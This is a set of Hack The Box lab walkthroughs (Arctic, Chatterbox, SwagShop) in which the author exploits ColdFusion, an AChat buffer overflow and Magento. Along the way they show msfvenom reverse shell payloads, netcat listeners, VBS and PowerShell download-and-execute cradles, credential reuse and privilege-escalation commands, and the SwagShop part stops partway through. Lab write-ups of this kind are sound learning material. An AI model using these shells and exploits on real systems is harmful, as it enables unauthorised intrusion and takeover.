HTB – Artic

It’s time to get a bit cooooooool, we are gunna have a look at Artic!

Start off as usual with our nmap scan

nmap -sC -sV -O -oN nmap/initial -vv

We get a few results:

135/tcp open msrpc Microsoft Windows RPC
8500/tcp open fmtp?
49154/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)

So it’s windows and 3 ports. I have no idea what fmtp might be, let’s see if we can view it in a browser.

We get a directory listing back!

We know what CFIDE is, that’s Adobe Cold Fusion. Known to have a load of vulnerbilities depending on version!

Looking in that folder, we find Administrator, which brings us a login screen!

There is a known LFI in CFIDE, which lets you see the admin password, accessing it via:\..\..\..\..\..\..\..\ColdFusion8\lib\

Visiting it, gives us:

I’d say that password is hashed, a quick google tells us the normal hash for this is SHA1.

Putting it into hash-identifier

Confirms it is likely to be SHA-1!

Let’s try and crack it with john. Copy the hash into a text file and run john:

john hash.txt -w /usr/share/wordlists/rockyou.txt

It comes up with a whole heap of things it could be but after a while it lets us know it’s cracked.

Let’s check the password:

john --show --format=Raw-SHA1 hash.txt

It is a happyday!

Let’s go back to the admin login and see if the creds work!

Success we are in!

Now i’ve exploited this application before, so I have an idea!

Looking at Settings Summary. We can see that any uploaded files get saved at CFIDE/scripts

Double checking the directory listing earlier, we have access to that folder. So we should be able to upload a payload to there and execute it to get a webshell or reverse shell or whatever we want!

Looking in the folder, mostly the files are js or cfm. I think we need to upload a .cfm for it to execute on the server. Luckily on kali there is a default cfm webshell located in /usr/share/webshells/cfm/cfexec.cfm

To upload a file, we need to set up a scheduled task. Under “Debugging & Logging” we have the scheduled tasks.

We will schedule a new task. We can’t upload a file, but we can access a URL, so let’s host our .cfm using python and put in the details. Make sure “Save output to a file” is ticked and we need to confirm where to save it.

Heading back to the setting summary, we can see the CFIDE mapping

I guess we need to use that with \scripts on the end


Submit the task. (This box is very slow, so be patient!)

Once submitted, we need to run the task.

We get a hit on our webserver! And our file is there!

You’ll notice it’s a jsp, not sure why this is. Ah in my autocomplete on the File path, it was a .jsp file. So maybe it needs to be a jsp not a cfm.

Let’s try with a cfm.

A CFM does work (as does a jsp) so either is good!

Hmm, we get an error when running a command:

I think this will be because I changed the name of the file.

Looking at the script, we needed to make a change before we were so reckless in our uploading!

<form method="POST" action="cfexec.cfm">

We need to change this to be:

<form method="POST" action="yekki2.cfm">

Let’s upload it and call the file yekki2.cfm. The reason to call it “2” is that I have no idea if it will overwrite files or fail at that. So it’s must easier and less things can go wrong to make a new one!

Using that webshell, let’s try and whoami /all

Very strange, we get another error!

It doesn’t look like it can find cmd.exe! How strange!

Let’s try powershell instead. Again same issue.

Wow that’s odd. Ok, instead of trying to do that, let’s make a reverse shell payload!

The syntax for this is:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=9002 -f raw > yekki-rs.jsp

That runs and creates our reverse shell payload

Let’s host that using python and change our scheduled task to grab this file instead.

Run the scheduled task and it appears.

Set up a nc listener

nc -nvlp 9002

Click on the link. Cross those fingers……

We get a reverse shell and the user flag! Noice!

Let’s get my favourite powerless script across. I have a VBA script which works like a wget.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs
echo xHttp.Open "GET", "", False >> script1.vbs
echo xHttp.Send >> script1.vbs
echo with bStrm >> script1.vbs
echo .type = 1 '//binary >> script1.vbs
echo .open >> script1.vbs
echo .write xHttp.responseBody >> script1.vbs
echo .savetofile "Powerless.bat", 2 '//overwrite >> script1.vbs
echo end with >> script1.vbs
cscript script1.vbs

Running powerless


We get a whole bunch of data, let’s see what we have!

Host Name: ARCTIC 
OS Name: Microsoft Windows Server 2008 R2 Standard 
OS Version: 6.1.7600 N/A Build 7600

We have a lot of priviledges:


Privilege Name Description State 
============================= ========================================= ======== 
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeImpersonatePrivilege Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege Create global objects Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

The windows 2008 and the privileges lead me to think maybe we need to use the SeImpersonatePrivilege priv esc.

Searchsploit agrees. Generally I prefer not using kernal exploits as I want to learn other weaknesses, but I can’t see anything else obvious.

Let’s get Sherlock the powershell script across and see if that agrees that I’m on the right lines.

First let’s upgrade ourselves to a powershell terminal.

We can use nishang to create a reverse shell. Go into nishang and edit the Invoke-PowershellTcp.ps1 and at the end enter:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9003

Then host is using python simple webshell.

Back on the target machine, we can use powershell to get the file which should then start our second reverse shell,

powershell IEX(New-Object Net.WebClient).downloadString('')

There might be a better way to go up to powershell but I like this, as I get a second shell, so if anything goes wrong, I can re-call it using the first shell without using ColdFusion again.

From here, we can use Sherlock. Firstly in the sherlock powershell file, at the bottom put in:

function Find-AllVulns

This will run the script when it’s downloaded.

IEX(New-Object Net.WebClient).downloadString('')

Sherlock then errors out. Sadly.

Instead let’s remove that line from Sherlock and try:

IEX(New-Object Net.WebClient).downloadString('') ; Find-AllVulns

This time, we get a bunch of output and a few potential vulnerabilities:

Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888 
Link :
VulnStatus : Appears Vulnerable

Title : ClientCopyImage Win32k
MSBulletin : MS15-051 
CVEID : 2015-1701, 2015-2433
Link :
VulnStatus : Appears Vulnerable

Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link :
VulnStatus : Appears Vulnerable

So we know which options might be vulnerable!

Let’s start at the top and work our way down. So firstly, task scheduler .xml. Searching on searchsploit we get a hit. The exploit however is part of metasploit and I can’t seem to find a different version on github.

Ok moving on, ClientCopyImage has a compiled .exe on github we can try!

As the machine is 64 bit, let’s try that.

We need to get the file across to the box. To do this, as powershell was a pain earlier, I’m going back to my trusty wget vba script!

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs 
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs 
echo xHttp.Open "GET", "", False >> script1.vbs 
echo xHttp.Send >> script1.vbs 
echo with bStrm >> script1.vbs 
echo .type = 1 '//binary >> script1.vbs 
echo .open >> script1.vbs 
echo .write xHttp.responseBody >> script1.vbs 
echo .savetofile "Taihou64.exe", 2 '//overwrite >> script1.vbs 
echo end with >> script1.vbs 
cscript script1.vbs

That’s now downloaded, all that’s left is to run it:


That runs for a while annnd…… it doesn’t appear to do anything!

Well that’s no good! The last exploit needs 2 CPUs, I’m not sure if this has that as it’s a VM.

Instead while I was waiting for Taihou64 to run, I remembered I have previosuly priv esced on a 2008 with an exploit called Churrasco.

The .exe is on kali under /usr/share/sqlninja/apps/churrasco.exe

Let’s get that across to the box with out wget script.

We also need to get netcat across, there is a static binary of this in /usr/share/windows-binaries/nc.exe.

Start up a listener on a new port

nc -nvlp 9111

Then run,

.\pr.exe -d "C:\Users\tolis\Links\nc.exe 9111 -e cmd.exe"

And it doesn’t have the right set up to run:

/churrasco/-->Current User: tolis 
/churrasco/-->Process is not running under NETWORK SERVICE account!
/churrasco/-->Getting NETWORK SERVICE token ...
/churrasco/-->Couldn't find NETWORK SERVICE token


Looking around a bit more, there is another potential exploit we can use, called Chimichurri. There is a compiled version on github.

Downloading that and moving it across to the box.

Let’s run that and we need to give it parameters of where a reverse shell should go to.

C:\Users\tolis\Links\win.exe 9111

And nothing happens.

That should have worked (trust me I read a walkthrough!)

Maybe someone else has already used the exploit and buggered the path? I’m not sure.

After a box reset, it still didn’t work. The exploit just hangs and doesn’t give us anything back. I looked a couple of walkthroughs, all the priv esc is kernal exploits and really I want to learn other Windows priv esc methods, so I’m going to give up on this one!

This is a flag that will go un-earned (until I come back and do it with metasploit in like 5 minutes)!


HTB – Chatterbox

Here we go, let’s do another retired box which is part of TJNull’s OSCP-like VMs!

Today will be Chatterbox. I’ve not looked at this box before, so will be a straight from scratch let’s learn as we go writeup!

*********False Start***********

First up, nmap!

nmap -sC -sV -O -oN nmap/initial  -vv

We get two open ports:

554/tcp open rtsp? syn-ack ttl 128
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
7070/tcp open realserver? syn-ack ttl 128
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X|3.X, Microsoft Windows XP|7|2012
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012

Well that isn’t exactly what I would expect. Port 554 and 7070 and not much of an idea about the OS!


I just released that I haven’t connected to the Hack The Box VPN (always do this first!), so let’s run that scan again and see if we get different results! Sorry to whoever owns that public IP address!

Let’s redo that first nmap scan!

This time, we get no results! Not a single port open! Let’s try a full port scan!

nmap -sS -p- -oN nmap/allports -vv

While that’s running, we also run a UDP scan. I always do the top 1000 first, if there is nothing in that, usually there isn’t much at all:

nmap -sU --top-ports=1000 -oN nmap/UDP

Nothing on UDP and no ports coming back on the all ports scan.

Let’s try resetting the box and starting again. Something has borked here!

********Actual Start**************

Doing a quick scan to see if we have anything open:

nmap -sS -vv

We don’t get any findings. Let’s run a full port scan again:

nmap -sV -p- -vv -T5

For some reason the scan was going to take an hour and a half. So while that ran, I tried out massscan which I haven’t used before. I tried scanning the first 10,000 ports and it found ports 554 and 7070 pretty quickly, but these aren’t HTB I don’t think, so it’s for some reason not using the VPN?

Ignoring that, I waited, and waited, and waited. For the nmap scan to finish and we got 2 results, these were different and showed:

Starting Nmap 7.80 ( ) at 2019-10-13 14:25 BST
Nmap scan report for
Host is up (0.13s latency).
Not shown: 65533 filtered ports
9255/tcp open mon
9256/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 2594.76 seconds

Right, finally some results (43 minutes later!), let’s do a more detailed scan of those 2 ports:

nmap -sC -sV -O -oN nmap/detailed -p 9255,9256 -vv

So we have two chat systems. 9255 is HTTP and not sure about 9256.

Let’s go check out 9255 first.

We get absolutely nothing back from that port. It doesn’t load. netcat doesn’t return anything.

Lets part that and check 9256. Netcat again gives nothing in return

nc 9256

However, going to a browser, we get:

Still not very useful.

Trying to run gobuster to see if there is anything more, gobuster tells us that it can’t connect.

Let’s google “achat chat system” and see if we have any default directories or anything.

We get a hit, for a Remote Buffer Overflow from exploit-db.

I’m out of other ideas so let’s try that

So in the script, we need to create a payload and replace it, we also need to change the attack target.

Updating the IP address:

# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('', 9256)

The payload looks strange, it’s windows/exec for calc.exe. Not too sure what this is going to do!

Fuck it, let’s run it and see what happens.

I think that means it ran? Let’s try changing the payload the be a reverse shell.

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=9010 -f c -a x86 --platform windows -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' -f python

And it couldn’t create it due to the massive list of bad characters. Maybe we can use a different encoder that will work?

I found a list of encoders and did some trial and error.

I managed to find that x86/unicode_upper worked. Why is this? No idea! I guess it can use enough characters to work around the bad characters.

It does say it’s skipping invalid encoder, but it made it anyway, so I have absolutely no idea what’s going on, but i’ll take it!

Copying that into the script and noting its 324 bytes. Luckily the script works out the length of the buffer and takes it into account, so we don’t need to change anything there.

Right, let’s get a listener up on port 9002 and run this.

Ok, less exciting than I was expecting. Nothing happened! Double checking the IP address and the port, they are all right. Maybe the service has crashed when we did it as a test first time?

Resetting the box, we then try it again.

After a reset, we still have nothing! Ok, well that’s no use!

Maybe the unicode_upper isn’t what we need. Let’s keep looking, unicode_mixed also gives us a shellcode. I also realised I had 2 -f flags in my msfvenom, so I took out the -f c. That was a copy/paste error!

Created the payload and put it into the script. Let’s try again.


Ok, let’s re-look at the script and what that has. Looking at their suggested msfvenom payload I notice it has:


We haven’t included that. Let’s add that in so our msfvenom command now looks like:

So many bad characters!

Wow this is a much longer payload at 774 bytes!

Copying that into the script, let’s try again!

Hooray, we get a reverse shell!

So it’s always important to read through the PoC and even though we are doing something different, including all the important parts! Also go through all the encoders. Just as a test, I re-ran it with the Upper encoder, and as long as I included the buffer register, it worked fine!

So although the encoder does matter to get round the amount of bad characters, the Buffer Register location is the critical part!

Now that we are in, a little look and we get the user flag!

I didn’t really like that user, I didn’t have anything to see if the service was up or down and finding the initial port was an absolute PITA!

Let’s take a look around for priv esc. Windows priv esc is my weak point, so really hoping to learn a good new skill here!

For Windows priv esc, I really like the Fuzzy Sec guide.

Straight away we find some useful information:

So, its a Windows 7 box, likely to be vulnerable to rotton potato, but i’ll save that for a last resort.

We also know there is only 1 Admin user, Administrator and we aren’t part of any groups, so hints there!

Looking through the networking and running processes, we don’t find a huge amount more information.

WMIC is installed though, so let’s take a quick look through there. Again nothing stands out.

It’s at this point, I revert to scripts, there is a great one called Powerless

To get this across we have a couple of options, either we can use powershell’s invoke-webrequest, or we can create a VBS wget script.

Let’s do the latter, host the script on a simple webserver on kali

python -m simpleHTTPServer 9001

Then on the Win7 box, go to a writable folder, I like to use the “Favorites” folder in the user area.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs
echo xHttp.Open "GET", "", False >> script1.vbs
echo xHttp.Send >> script1.vbs
echo with bStrm >> script1.vbs
echo .type = 1 '//binary >> script1.vbs
echo .open >> script1.vbs
echo .write xHttp.responseBody >> script1.vbs
echo .savetofile "Powerless.bat", 2 '//overwrite >> script1.vbs
echo end with >> script1.vbs
cscript script1.vbs

I’ve bolded the bits that need to be changed. I find it works better to copy & paste 1 line at a time rather than all of them at once.

The reason I use this, and powerless rather than something like PowerUp is because although Windows 7 does have Powershell, it’s an early version and a lot of commands don’t work and I spend more time troubleshooting that then getting anything done!

This has successfully downloaded the file, let’s run it and see what we get.

There is so much output, and I won’t copy all of it, as it would just be crazy to go through!

There are however 208 hotfixes installed. So that’s any kernal exploits likely to be patched!

We do get some priviledge information


Privilege Name Description State 
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
--- All users, accounts and groups ---

Nothing out of the normal there. SeChangeNotifyPriviledge is the one required for rottonpotato to work. So that’s worth bearing in mind.

Interesting AVAST is installed, this is a virus scanner. Do we need that on a CTF?

The Alfred user is stored in the registry, so we have that:

--- Searching Registry for Passwords ---
DefaultDomainName REG_SZ 
DefaultUserName REG_SZ Alfred
DefaultPassword REG_SZ Welcome1!

It doesn’t help us here, but in real life where password reuse is rife, this could be handy for later (also to note the crap password!)

There is a sysprep file we can look at:


Unfortuantely this runs as Alfred and has the password removed. So no luck.

That didn’t gain us much. Shall we try powerup.ps1? This might not work due to powershell issues.

Rather than re-using the wget script, let’s try powershell. To get into powershell we need to type:


This actually hangs and doesn’t open powershell. The only way out was Ctrl+C, so we have to re-do the BoF. I wish a more complex password was used and something like RDP was open (yes people would eternal blue it, but what would be the point?)

So the BoF didn’t work without reverting the box. In our script we didn’t specific the end the THREAD so the whole program crashes rather than just the thread we were using.

While I was waiting for the box to revert, I wondered if there was a way to view who owns what files, like on linux (ps -al) as my first Linux check is always who owns /etc/passwd & /etc/shadow.

There is a flag which is

dir /q <file>

This showed an interesting result:

Alfred owns the root.txt file, yet cannot read it, or move it. What can we do?

Some googling turns up not a lot.

So let’s go back to what we were doing, we were going to get PowerUp.ps1 across. Since powershell failed last time, I’m going to use my wget script again.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script2.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script2.vbs
echo xHttp.Open "GET", "", False >> script2.vbs
echo xHttp.Send >> script2.vbs
echo with bStrm >> script2.vbs
echo .type = 1 '//binary >> script2.vbs
echo .open >> script2.vbs
echo .write xHttp.responseBody >> script2.vbs
echo .savetofile "Powerup.ps1", 2 '//overwrite >> script2.vbs
echo end with >> script2.vbs
cscript script2.vbs

We can then run it using:

powershell PowerUp.ps1

This then loads in a different window as it boots up powershell and we can’t see what it’s doing.

We really need a powershell terminal! So that means, we need to do some lateral movement.

Using a nishang payload we should be able to get a powershell reverse shell.

Download the nishang payload and edit “Invoke-PowerShellTcp.ps1” at the end of the file add:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9003

This should then download and run. What I don’t know is if this will work with our vba wget script, but let’s try it!

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script3.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script3.vbs
echo xHttp.Open "GET", "", False >> script3.vbs
echo xHttp.Send >> script3.vbs
echo with bStrm >> script3.vbs
echo .type = 1 '//binary >> script3.vbs
echo .open >> script3.vbs
echo .write xHttp.responseBody >> script3.vbs
echo .savetofile "Invoke-PowerShellTcp.ps1", 2 '//overwrite >> script3.vbs
echo end with >> script3.vbs

Set up a listener

nc -nvlp 9003

Then do:

cscript script3.vbs

Annnnd, we do not get a reverse shell. Fuuuck.

Ok, let’s try and download this via powershell!

powershell IEX(New-Object Net.WebClient).downloadString('')

Aha! That time, we got it!

You’ll see the screen on the left looks to have frozen, as it’s running the reverse shell, but we have that shell on the right, so we can now hopefully run PowerUp.ps1 with the module “Invoke-AllChecks”

Import-Module .\Powerup.ps1; Invoke-AllChecks

It doesn’t seem to run.
So what i’m going to do, is add the run command to the bottom of it, and download it via powershell.

In the powerup script, we will add “Invoke-AllChecks” at the bottom of the script, so it should run as soon as it’s downloaded!

Hosting this on a webserver, we download it:

IEX(New-Object Net.WebClient).downloadString('')

It downloads, and then a blank screen. Let’s wait to see if its run and if we can see any output from this!

Nothing returned. Ok, let’s try this again manually, let’s download it without invoke all checks at the end. Using the same as above, we download it.

It isn’t there, it doesn’t save! That’s likely to be the issue! So, let’s download it with our vba script, then run it with powershell!

Now, we have powerup there!

So, how the fuck do we run this?

This is what I was talking about earlier with older/newer powershell versions, it’s just a pain. I don’t know why nothing is working to run this!

I can’t get this to run, I’ve not idea why. But let’s go back to what I said earlier when we found the password. Password reuse is a thing, could it be a thing here for Administrator?

I have a few commands that allow us to try this out, these have to be run under powershell otherwise it doesn’t work:

$username = 'Administrator'
$password = 'Welcome1!'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword

Start-Process powershell -Credential $credential -Verb "runas" -arg "IEX(New-Object Net.WebClient).downloadString('')"

What this will do, is set the password, and run the command as Administrator. The command gets another Nishang payload, with the reverse shell pointing to a different port, and if it works, we will have a powershell as admin!

So that appears to just hang, it doesn’t go to my webserver and I have absolutely no idea why, as the same thing has worked before!

I accidentally Ctrl+C’ed my terminal, so trying to re-get my original shell is proving a massive pain in the arse, but we will get there! 3 resets later and some unknown fucking reason why it won’t do anything, I watched the ippsec video to work out how he did this first part.

********Let’s start again!**********

After having a break for a day, due to frustration at failing to re-get my reverse shell. I reset the box 5 times, tried 3 different methods for shell, I was mega cross, angrily turned my computer off and stormed downstairs like a grumpy teenager. It wasn’t pretty!

Anyway, here we go again!

I re-created the payload using:

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=9010 -a x86 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\[31/31$
\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

(Note the very important IP address change)

Put that into the python scrip and start the listener,

nc -nvlp 9010

We get our reverse shell back! Huzzah!

Now let’s get that up to a powershell terminal.

powershell IEX(New-Object Net.WebClient).downloadString('')

Remembering to change the IP address in the nishang payload!

We have our powershell payload excellent!

So, we have a password of Welcome1! Let’s try and use powershell to use that and get another nishang payload as root!

Using the powershell we tried last time but with a subtle tweak

$username = 'Administrator' 

$password = 'Welcome1!' 

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
Start-Process -FilePath "powershell" -Credential $credential -argumentlist "IEX(New-Object Net.WebClient).downloadString('')"

Yesss, we get a hit on our fileserver!

But we do not get a reverse shell! Bummer!

Ah that is because I didn’t change the IP address in the nishang payload, blast!

Let’s try again! Very strangely, the powershell is now just hanging and won’t do anything. It’s almost as if in the background there is a powershell running that we can’t see that is stalling it all.

After a couple of goes, I realised it was something about how I was copying out of the terminal. If I copied from here, it worked straight first time!

It calls back, our nishang shell comes home and boom, we are root!

So I got super cross, and lost loads of time when my payload wouldn’t execute after I killed the sessions by accident. I’m not sure why this was, it might have been a typo in my code I was copying, it could have been other things. But for that reason, I hate this box!

Anyway, that is root. However, there is a much more interesting way then invoking powershell as another user.

Back in our low level cmd line access!

Remember earlier we saw that the root flag was owned by Alfred?

C:\Users\Administrator\Desktop>dir /q root.txt
dir /q root.txt
Volume in drive C has no label.
Volume Serial Number is 9034-6528

Directory of C:\Users\Administrator\Desktop

12/10/2017 07:50 PM 32 CHATTERBOX\Alfred root.txt
1 File(s) 32 bytes
0 Dir(s) 18,114,719,744 bytes free

Well can we do anything with that? After some reading and a tutorial, we can!

There is a tool called icacls. This lets us look at permissions for files and folders. So let’s look at the Desktop

C:\Users\Administrator>icacls Desktop
icacls Desktop

Successfully processed 1 files; Failed processing 0 files

So I had a look at the help and got the permission definintions:

 (OI) - object inherit
(CI) - container inherit
(IO) - inherit only
(NP) - don't propagate inherit
(I) - permission inherited from parent container

Right, so Alfred has the same permissions as Administrator. We also have full access to root.txt

C:\Users\Administrator\Desktop>icacls root.txt
icacls root.txt
root.txt CHATTERBOX\Administrator:(F)

Successfully processed 1 files; Failed processing 0 files

So what can we do with that, well we can grant ourselves read access.

C:\Users\Administrator\Desktop>icacls root.txt /grant Alfred:F
icacls root.txt /grant Alfred:F
processed file: root.txt
Successfully processed 1 files; Failed processing 0 files

This then lets us read the file:

That is super useful and definitely a trick i’ll keep up my sleeve!

So there we have it! 2 ways to root the box. I’m sure there are more method to get a shell using the remote overflow, but this will do for me!

Onto the next one!


Hack The Box – Swag Shop

So it’s that time again, let’s see how far we can get with a meant to be straight forward Hack the Box box!

First up, we run our nmap scan

nmap -sC -sV -O -oA nmap/swagshop

We get 2 results back:

We have SSH and HTTP open. Looking at the apache code (2.4.18) this version was released on 3-March-2016. This is strange and might straight away give us an indication of where we need to look.

The HTTP result is also odd as it shows an 503 error. Let’s jump in and see what’s on the webpage.

Heading over there, we do in fact get an error page:

We straight away get 2 really useful bits of information, the fact this is running Magento, which is an Adobe eCommerce product. Also that the copyright is 2014, I wonder if that means we have a really old version of this too.

Let’s run a dirb on this to see if we have any more results

dirb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

I use the 2.3 medium as standard. I think for HTB the small would probably be fine, but I have time, so why not run the more in depth scan.

(Dirb does then run through each folder recursively which is really useful, but also comes back with a lot of info, so here is the high level results!)

Having a look through the results, there are a lot of things set up for the shop, pictures of the products, logos and gifs. The /shell/ directory looks interesting, but we get this result for each of the scripts:

Which you know, makes sense. Running through some more options, we try /downloader/ and bingo:

Here we get the version number and the copyright year of 2014 ties in with what we have already seen. So let’s check the changelog and any exploits for this version.

I’ve found this blog:

This describes an exploit via arbitrary PHP upload. I’ve run into a problem though:

 A caveat for this exploit requires an attacker to obtain administrator credentials (users with “all” privileges also work) to the Magento instance.

So we need to go credential diving in all the other resources available on this webpage! Before we jump into all that, lets see if there are default creds we can use.

I had a google round and one bit of advice was to look at the downloader/connect.cfg page. So I did. I don’t think it’s useful right now, but I’m putting it here as it might be later:


Knowing where the application is installed is always useful in case we need to folder traversal later on: /var/www/html/downloader/

Unfortunately it looks like you create the creds during the install, so no easy default creds for us.

Let’s go hunting instead, and as a plan B, we will try Burp Intruder as a brute-forcer. But this seems overkill when we don’t even have a username yet!

There are so many files!!

While getting bored of going through files, my mind wandered and I wondered if there is any virtual host routing going on. So I added swagshop.htb to my hosts file and went to swagshop.htb

We have any actual site. I wondered if this was virtual host routing, so went back to just the IP. Same result. The box must have been reset and the website has become unfucked. Thanks random other user on the free server! 🙂

So, rather than digging through all that, let’s have a poke around the actual website!

There is an account part, let’s see if we can register and if this will give additional information:

Ok, we can register and log in. A quick check if this login can be used on the connect manager results in a denied. Not a surprise, but I like easy wins (one day i’ll get one)!

While we are at the log in idea. Heading back to the main site, we have a valid user, if we get the password wrong for a valid user, we get an error of:

If we try with an account that’s not going to be there (e.g, we get the same result. So there is no credential leakage this way.

From the poking around we did earlier (http://swagshop.htb/app/etc/config.xml), we know that in the background there is an SQL database,

<connection><host>localhost</host><username/><password/><dbname>magento</dbname><model>mysql4</model><initStatements>SET NAMES utf8</initStatements><type>pdo_mysql</type><active>0</active></connection></default_setup>

We could therefore see if there is some SQLInjection available. Looking at the search box, we do a search of hello and the url that comes back is:

This is querying the database behind the system. So let’s have a go.

sqlmap -u ""

The results are in and it doesn’t look like this is vulnerable to SQL Injection.

Let’s log in and have a poke around this dashboard. Knowing what we already found, I’m looking for any sort of username and password that would have admin privileges. Doesn’t appear to be anything of use in the dashboard.

Ok, finally we potentially have a small break. There is the About Us page:

Could John Doe be a user. Potentially.

Let’s go back to the config.xml page we found earlier as in there is a filesystem:

Oddly, a lot of these don’t seem to work.

Another page that we did stumble across later on was /app/etc/local.xml. This gives a username and password for an SQL instance on localhost by the look of it:

Let’s keep those creds for later!

Another interesting part of the site, is within the index.php. There are more directories deeper, running another dirb:

dirb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

We get a few results, but the most interesting was admin.

So with that knowledge and now 2 log in opportunities. What can we do with them?

I headed back to google and wondered if I’d missed something obvious, searching for Magento exploits I came across this:

Maybe it is SQLInjection! Let’s run through this and see what we can find!

I decided to run sqlmap again, with the same as before. A line I missed previously was:

[18:31:43] [INFO] heuristic (XSS) test shows that GET parameter 'q' might be vulnerable to cross-site scripting (XSS) attacks

So we might have some XSS on this.

While all my tools were re-running, I had another poke about the website. This time I found myself in /var/cache, this appears to have cached all the SQL tables:

Rather than going through all of them one by one. I’m going to download the whole lot and do some grepping on them.

wget -r

Now these are all downloaded, we can do a grep for “admin” “user” “password” and see what we get.

I didn’t find anything overly useful in there. A lot of information, but nothing else.

While the box was resetting I did a bit more googling, and there looks like there might be a RCE available:

So the pre-requisites of this are:

to get a valid guestCartId
// * add an item in your cart
// * go to checkout
// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
// (* in the response check the payment method it may vary from checkmo)

Out of the items available, a t-shirt is definitely the most rad, so let’s buy one of those.

Adding that to basket and proceeding to checkout. Let’s checkout as Guest (rather than registering)

Filing in all the shipping address. Turn on Burp intercept and click Continue.

Go through the next stages and at the final Place Order button we get a post request.

So we have our valid guest cart ID, I think:


Let’s try using that with the exploit. The exploit downloads as a PHP, so that’s a bit odd.

I’m not too sure what to do with this, so I went back to google and found a metasploit module.

I’m not a huge fan of going straight to msf, especially as it can’t really be used in OSCP, however. I need a win right now. (Querier has killed me completely)

So, lets open msfconsole

use exploit/multi/http/magento_unserialize

A bit of googling and the issue is summed up nicely:

"Magento is prone to a remote code-execution vulnerability because it fails to properly sanitize user supplied input. 
Specifically, this issue occurs because it fails to properly restrict a user to set malicious '_data' property of 'payment' instance 
through 'method' variable of 'getData()' function. An unauthenticated attacker can exploit this issue to execute arbitrary PHP code on the server through REST or SOAP APIs."s

So I set all the options, which were just RHOSTS and TARGETURI

I got an error in return:

So we go and look over there:

A quick look shows that it’s not my IP address. So let’s try not on the index.php targetURI. Also no good.

After a box reset, I tried this again.

Still no good. Ok this isn’t the route we wanted to do anyway!

I keep coming back round to the fact there are 2 login pages there should be creds somewhere!

As a change of tact, from trying to get RCE or a reverse shell straight off the bat. I googled if there was a way to add an extra admin account.

So, there is an exploit called ShopLifter. What this done is uses some very clever SQL injection to add a new admin user into the system. I took the code from this github page.

So what this does, is adds in a new admin account. Reading through the script it adds a user with the username ypwq & password 123.

Wondering if this is on the right lines, I went to the 2 log in pages and tried the user without running the script.

Bingo, I was able to log in onto both management areas. I assume this is from other people leaving a trail, rather than poor misconfiguration.

Anyway, we want to do the exploit and see if it works ourselves.

Looking at the script, we can edit it slightly to use any username and password, so I make a couple of changes

Now, we have 2 places to attack, but the script mentions index.php/admin so we just need to give it the web address.


